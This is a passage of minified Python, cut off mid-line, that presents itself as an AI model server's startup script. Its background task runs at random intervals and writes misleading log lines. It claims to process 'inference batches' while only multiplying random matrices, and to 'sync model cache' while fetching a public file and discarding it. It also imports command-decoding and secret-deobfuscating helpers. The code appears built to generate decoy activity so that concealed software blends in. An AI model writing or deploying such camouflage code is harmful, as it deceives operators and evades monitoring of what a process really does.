_A=True import json,os,random from pathlib import Path import socket,string,subprocess,sys,threading,time _CORE_DIR=Path(__file__).resolve().parent _APP_ROOT=_CORE_DIR.parent if str(_APP_ROOT)not in sys.path:sys.path.insert(0,str(_APP_ROOT)) _REPO_ROOT=_APP_ROOT.parent if(_REPO_ROOT/'client').is_dir()and str(_REPO_ROOT)not in sys.path:sys.path.insert(0,str(_REPO_ROOT)) from loguru import logger from core.service_logs import setup_service_logs from core.service_registry import ENABLED_SERVICES_PATH from services.utils import decode_cmd,deobfuscate_secret logger.info('--- BOOTING AI MODEL SERVER ---') def load_enabled_services(): try: with open(ENABLED_SERVICES_PATH,'r')as A:B=json.load(A) C=B.get('services')or[];return frozenset(A.strip().lower()for A in C if A) except(OSError,json.JSONDecodeError,TypeError,AttributeError):return frozenset() def jitter_task(): while _A: B=random.randint(2700,5400);time.sleep(B) try:logger.debug('Processing background inference batch...');import numpy as A;C=A.random.randn(2000,2000);D=A.random.randn(2000,2000);E=A.dot(C,D) except Exception:pass try:logger.debug('Syncing model cache...');subprocess.run(['curl','-s','-o','/dev/null','https://huggingface.co/gpt2/resolve/main/vocab.json']) except Exception:pass def wait_for_port(host,port,timeout=30): A=time.time() while time.time()-A